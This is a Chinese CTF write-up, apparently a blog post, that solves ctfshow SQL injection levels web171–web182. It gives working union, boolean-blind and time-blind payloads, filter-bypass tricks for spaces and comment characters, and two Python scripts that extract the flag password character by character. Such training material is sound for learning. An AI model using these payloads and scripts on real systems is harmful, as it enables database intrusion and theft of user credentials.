ctfshow SQL注入练习

web171

无过滤的字符型注入
在这里插入图片描述
直接查询数据
payload:-1' union select 1,2,group_concat(username,' ',password) from ctfshow_user where username='flag'--+

web172

无过滤的字符型注入,添加了条件限制 username!=‘flag’,要用联合查询注入。
在这里插入图片描述
因为题中已经给出sql语句所以可以不用去判断列数

payload: 0' union select 1,(select password from ctfshow_user2 where username='flag') %23

web173

有过滤的字符型注入
在这里插入图片描述
先用上一题的payload打一下试试,密码栏出现的不是flag而是 not_here,
查询表名 -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+
在这里插入图片描述
逐一查询表中数据,查到第三个表时才爆出flag
flag:-1' union select 1,2,group_concat(password) from ctfshow_user3 --+
在这里插入图片描述

Web174

使用布尔或者时间盲注
举个布尔盲注的例子
判断完闭合方式后
1.猜数据长度1' and ascii(substr((select password from ctfshow_user where username='flag'),1,1))>100--+
通过二分法逐渐缩小范围直至确定
2.猜数据?id=1' and ascii(substr((select password from ctfshow_user where username='flag'),1,1))>100--+
也可以根据给出的查询语句,构造 payload 写个布尔盲注脚本

import requests

payload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'), {},1))>{},'cluster','boom') %23"
url = "http://168b1d40-414d-4b42-a7cd-1cb5fd00bfe6.challenge.ctf.show:8080/api/v4.php?id="


def test_chr(index: int, offset: int):
    response = requests.get(url + payload.format(index, offset))
    assert "cluster" in response.text or "boom" in response.text
    if "cluster" in response.text:
        return True
    elif "boom" in response.text:
        return False


index = 1
flag = ""
while True:
    start = 32
    end = 127
    while True:
        if abs(start-end) == 1 or start == end:
            break
        point = (start + end) // 2
        if test_chr(index, point):
            start = point
        else:
            end = point
    if end < start:
        end = start
    flag += chr(end)
    print(f"[*] flag: {flag}")
    index += 1```
## web175
这一关没有回显,所以使用时间盲注
可以将上一关的脚本改为时间盲注

```python
import requests

payload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user5 where username='flag'), {},1))>{},sleep(2),1) %23"
url = "http://dc63c6a5-aa8b-4e21-a765-56eb704e4809.challenge.ctf.show:8080/api/v5.php?id="


def test_chr(index: int, offset: int):
    try:
        response = requests.get(url + payload.format(index, offset), timeout=1)
    except:
        return True
    return False


index = 1
flag = ""
while True:
    start = 32
    end = 127
    while True:
        if abs(start-end) == 1 or start == end:
            break
        point = (start + end) // 2
        if test_chr(index, point):
            start = point
        else:
            end = point
    if end < start:
        end = start
    flag += chr(end)
    print(f"[*] flag: {flag}")
    index += 1

Web176

方法一:使用万能密码 1’ or 1=1–+ 直接发现flag
方法二:判断出闭合方式是单引号闭合后,判断列数为4
之后我们进行显示位查询
这时发现输入后页面出错了
在这里插入图片描述
猜想应该是过滤了什么
尝试一下大小写
-1' uNion sElect 1,2,3--+
在这里插入图片描述

接着爆数据库名
在这里插入图片描述

表名 -1' uNion sElect 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
在这里插入图片描述

字段 -1' uNion sElect 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+
在这里插入图片描述

数据-1' uNion sElect 1,2,group_concat(password) from ctfshow_user--+
在这里插入图片描述

Web177

过滤了空格(%20),可以使用%09 、/**/、%0c
-1'/**/union/**/select/**/1,2,group_concat(password)/**/from/**/ctfshow_user%23
在这里插入图片描述

-1'%09union%09select%091,2,group_concat(password)%09from%09ctfshow_user%23
在这里插入图片描述
也可以使用括号()来代替空格

Web178

过滤了空格和#
根据上一题的payload进行过滤
-1'%09union%09select%091,2,group_concat(password)%09from%09ctfshow_user%23

Web179

有过滤的字符型注入,和上上题差不多,增加了对 %09 %0a %0b %0d 的过滤,%0c 可以用。
使用%0c进行过滤
-1'%0cunion%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23

Web180

有过滤的字符型注入,相比上题增加了对 #(%23) 的过滤,这里使用 --(–后加个空格) 绕过。
payload: 1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')%0c--%0c

Web181

题目的where语句处是and连接两个条件。可以考虑运算符优先级。题目的where语句处是and连接两个条件。可以考虑运算符优先级。
在这里插入图片描述
and的优先级高于or,需要同时满足两边的条件才会返回true,那么后面可以接一个or,or的两边有一个为true,既可以满足and。即:1 and 0 or 1
payload:0'or(id=26)and'1
或者
payload:-1'%0cor%0cusername='flag

Web182

增加了flag过滤。like可以模糊匹配
在这里插入图片描述
payload:-1'%0cor%0cusername%0clike'%fla%
因为在之前题目中flag的id为26,所以我们还可以构造payload:0'or(id=26)and'1
like可以使用两个通配符:

  • %:匹配任何数目的字符,甚至包括零字符
  • -:只能匹配一种字符
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值